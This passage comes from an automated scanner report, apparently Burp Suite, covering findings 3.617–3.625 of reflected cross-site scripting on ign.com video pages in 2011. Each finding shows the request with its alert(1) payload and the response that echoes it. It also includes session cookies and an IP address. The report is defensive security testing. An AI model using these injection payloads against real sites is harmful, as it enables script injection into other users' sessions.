Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=ecf549715f7a4dac02f87cba01c29d56; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?objectid=80342958a8<script>alert(1)</script>3e939fec94a</div>
...[SNIP]...

3.617. http://www.ign.com/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65a9e'%3balert(1)//085e2351517 was submitted in the objectid parameter. This input was echoed as 65a9e';alert(1)//085e2351517 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/21/dragon-age-2-ser-isaac-of-clarke-trailer?objectid=8034265a9e'%3balert(1)//085e2351517 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=ac1f01c9a35a6d9641034513def883a7; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86320

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
oyster.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d38d5742db5b951d00110ab?objType=games&platform=ps3&classification=trailer&context=8034265a9e';alert(1)//085e2351517';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.618. http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/25/killzone-3-multiplayer-video

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24f65'-alert(1)-'c18d72b16d4 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/25/killzone-3-multiplayer-video24f65'-alert(1)-'c18d72b16d4 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:33 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=79908f563bce311a7990eb43d0ef6c55; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44527

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
r(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video24f65'-alert(1)-'c18d72b16d4';
   }
   </script>
...[SNIP]...

3.619. http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/25/killzone-3-multiplayer-video

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload bb3cf<script>alert(1)</script>d546945cdb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/25/killzone-3-multiplayer-video?bb3cf<script>alert(1)</script>d546945cdb4=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=54bcd38af5f203f2a30646a58c7a7968; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video?bb3cf<script>alert(1)</script>d546945cdb4=1</div>
...[SNIP]...

3.620. http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/25/killzone-3-multiplayer-video

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e9e2'-alert(1)-'507d70ab3ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/25/killzone-3-multiplayer-video?6e9e2'-alert(1)-'507d70ab3ba=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=f7853f253567a8b1a39c8db11a797408; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85794

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video?6e9e2'-alert(1)-'507d70ab3ba=1';
   }
   </script>
...[SNIP]...

3.621. http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/25/killzone-3-multiplayer-video

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload 12c10<script>alert(1)</script>891d3ebf535 was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/25/killzone-3-multiplayer-video?objectid=1432440312c10<script>alert(1)</script>891d3ebf535 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:20 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:20 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=cdbe526696fbbd19dbd0b5b8ad920fe4; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86449

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video?objectid=1432440312c10<script>alert(1)</script>891d3ebf535</div>
...[SNIP]...

3.622. http://www.ign.com/videos/2011/01/25/killzone-3-multiplayer-video [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/25/killzone-3-multiplayer-video

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7763'%3balert(1)//d08c6818bdc was submitted in the objectid parameter. This input was echoed as a7763';alert(1)//d08c6818bdc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/25/killzone-3-multiplayer-video?objectid=14324403a7763'%3balert(1)//d08c6818bdc HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=dc1ba24eec39afc5c7892f924ef16e52; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86307

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
ter.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d3f3e162db5b937e000f0ec?objType=games&platform=ps3&classification=trailer&context=14324403a7763';alert(1)//d08c6818bdc';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.623. http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/26/pokemon-black-white-version-battle-trailer

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca312'-alert(1)-'9c1b49e452d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/26/pokemon-black-white-version-battle-trailerca312'-alert(1)-'9c1b49e452d HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:08:59 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:08:59 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=27c88ac02fa6b16f8c678d9d7b7bb9d8; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44541

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
;//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailerca312'-alert(1)-'9c1b49e452d';
   }
   </script>
...[SNIP]...

3.624. http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/26/pokemon-black-white-version-battle-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6c58c'-alert(1)-'cc0ea28045 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/26/pokemon-black-white-version-battle-trailer?6c58c'-alert(1)-'cc0ea28045=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=d11cc988a44a12eadf4f4cfc2c348e29; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85492

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer?6c58c'-alert(1)-'cc0ea28045=1';
   }
   </script>
...[SNIP]...

3.625. http://www.ign.com/videos/2011/01/26/pokemon-black-white-version-battle-trailer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/26/pokemon-black-white-version-battle-trailer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload a3809<script>alert(1)</script>9defa5b3918 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/26/pokemon-black-white-version-battle-trailer?a3809<script>alert(1)</script>9defa5b3918=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:06:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:06:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=26cd69e968f9f73f88b6a15794c4f01f; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
